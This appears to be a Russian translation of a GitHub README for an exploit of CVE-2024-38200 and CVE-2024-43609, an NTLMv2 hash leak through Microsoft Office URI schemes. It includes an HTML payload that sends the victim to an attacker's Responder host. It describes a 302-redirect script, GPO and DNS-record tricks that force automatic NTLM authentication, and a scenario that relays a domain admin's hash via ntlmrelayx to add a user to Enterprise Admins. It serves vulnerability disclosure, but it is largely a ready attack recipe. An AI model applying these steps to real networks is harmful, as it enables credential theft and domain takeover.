passtheticket/cve-2024-38200CVE-2024-38200 & CVE-2024-43609 - уязвимость раскрытия NTLMv2 в Microsoft Office
Перехват NTLMv2-хэша по HTTP не был исправлен. Значение NTLMv2-хэша по-прежнему можно получить по HTTP и ретранслировать на LDAP или ADCS. MSRC заявило, что «в представленном виде это выглядит частью текущего дизайна».
Даже если эта уязвимость будет исправлена, как указано в разделе Встроенная проверка подлинности Windows, значение хэша по-прежнему можно получить и ретранслировать с настройками по умолчанию.
Ранее был опубликован способ перехвата NTLMv2-хэшей по SMB с использованием схем URI Office. Основная идея была проста: отправить жертве URL следующего HTML-файла и перехватить NTLMv2-хэш по SMB. ССЫЛКА
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<responder ip>\leak\leak.docx';
</script>
</html>
Это стало для меня отправной точкой. Если посмотреть на страницу Схемы URI Office, можно увидеть использование протокола https:// в схеме URI. Это указывает на то, что http:// также потенциально может использоваться. Перехват NTLMv2-хэша по HTTP более выгоден, чем по SMB, для проведения relay-атаки против контроллера домена Схема ретрансляции.
Когда я использовал URI ms-word:ofe|u|http://test.local:8080/leak/leak.docx против Office 2016 MSO (16.0.4266.1001) 32-bit, появилось предупреждающее окно для защиты пользователя от вредоносной активности, но того же я не могу сказать про Microsoft 365 Office и Office 2019. Эти версии открывают удалённый файл Office без предупреждения и могут быть использованы для перехвата NTLMv2-хэша по протоколам SMB и HTTP.
Я обнаружил, что исправление для CVE-2024-38200 было применено некорректно. После публикации патча я протестировал уязвимость против Office 2019 Volume Licensed: Version 1808 (Build 10413.20020) и Microsoft 365 MSO 2408 Build 16.0.17928.20114 и определил, что уязвимость по-прежнему может быть эксплуатирована, как показано ниже CVE-2024-43609.
Мы можем перенаправить HTTP-запрос на UNC-путь с помощью 302-редиректа, когда приложение Office отправляет запрос через схемы URI Office (например, ms-word:ofe|u|http://172.20.10.8:8080/leak.docx). Скрипт uncredirect.py обрабатывает HTTP-запрос, отправленный со схемой Office URI, и перенаправляет его на UNC-путь, содержащий IP-адрес Responder. Это позволяет перехватить NTLMv2-хэш по SMB и обойти ограничение безопасности для URI ms-word:ofe|u|\\<responder ip>\leak\leak.docx.
uncredirect.py и responder.office.html пользователю-жертве.https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04
Перехват NTLMv2-хэша по HTTP более выгоден, чем по SMB, для ретрансляции на LDAP. Когда файл запрашивается через Office URI, NTLMv2-хэш может быть получен по HTTP без перенаправления на UNC-путь с помощью 302-редиректа. Этот метод эксплуатации нельзя применить через Интернет, поскольку, если в свойствах обозревателя нет неверной конфигурации, NTLM-аутентификация по HTTP не будет выполняться для хоста за пределами корпоративной сети.
Тем не менее, я считаю, что это эффективный метод для relay-атаки и повышения привилегий.
Настройки «Свойства обозревателя» влияют на поведение NTLM-аутентификации приложений Office. Это видно на нескольких примерах. Предположим, мы используем формат URI ms-excel:ofe|u|http://192.168.1.7/leak.xlsx для перехвата NTLMv2-хэша.
Если на машине жертвы, присоединённой к домену, применяется одна из перечисленных ниже GPO, приложение Office выполняет аутентификацию автоматически.
Проверка подлинности пользователя в зоне «Интернет» установлено значение Автоматический вход с текущим именем пользователя и паролемМестная интрасеть добавлена подсеть или диапазон IP-адресов (например, 192.168.*.* , 192.168.0-255.* , 192.168.1.7)Надежные узлы добавлена подсеть или диапазон IP-адресов (например, 192.168.*.* , 192.168.0-255.* , 192.168.1.7), и для параметра Проверка подлинности пользователя в зоне Надежные узлы установлено значение Автоматический вход с текущим именем пользователя и паролем
В случае применения одной из упомянутых выше GPO после того, как пользователь-жертва перейдёт по URI, приложение Office загрузит файл leak.docx с сервера атакующего, и NTLMv2-хэш будет получен, поскольку применённая GPO вызывает автоматическую NTLM-аутентификацию.
Пример сценария злоупотребления GPO:
Настроив Office URI с IP-адресом (например, ms-excel:ofe|u|http://192.168.1.7/leak.xlsx), мы можем отправить URL office.html пользователю с правами администратора домена и ретранслировать перехваченный хэш на сервер LDAP(S) с помощью ntlmrelayx. ntlmrelayx создаст нового пользователя и добавит его в группу Enterprise Admins — достаточно лишь нажать кнопку «Открыть».
Примечание:
Сайты, добавленные через GPO, можно перечислить с помощью следующих разделов реестра.
Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
0: Internet | 1: Local Intranet | 2: Trusted Sites | 3: Restricted Sites
Если ни одна из упомянутых выше GPO не применена, NTLM-аутентификация не будет выполняться автоматически. Однако если добавить DNS-запись типа A и использовать её в Office URI, Windows будет рассматривать имя хоста как часть зоны интрасети. Таким образом, NTLMv2-аутентификация происходит автоматически, и обычный пользователь может повысить привилегии без необходимости в неверно настроенной GPO. Любой пользователь домена со стандартными привилегиями может добавить несуществующую DNS-запись поэтому эта атака работает с настройками по умолчанию для пользователя домена.
office.html может обслуживаться с любого сервера, доступного пользователю-жертве (например, https://office.com/office.html). Я установил порт 8081 для Apache, потому что ntlmrelayx по умолчанию использует порт 80. В качестве альтернативы можно использовать параметр --http-port с ntlmrelayx. Введите добавленную запись в Office URI внутри файла office.html.
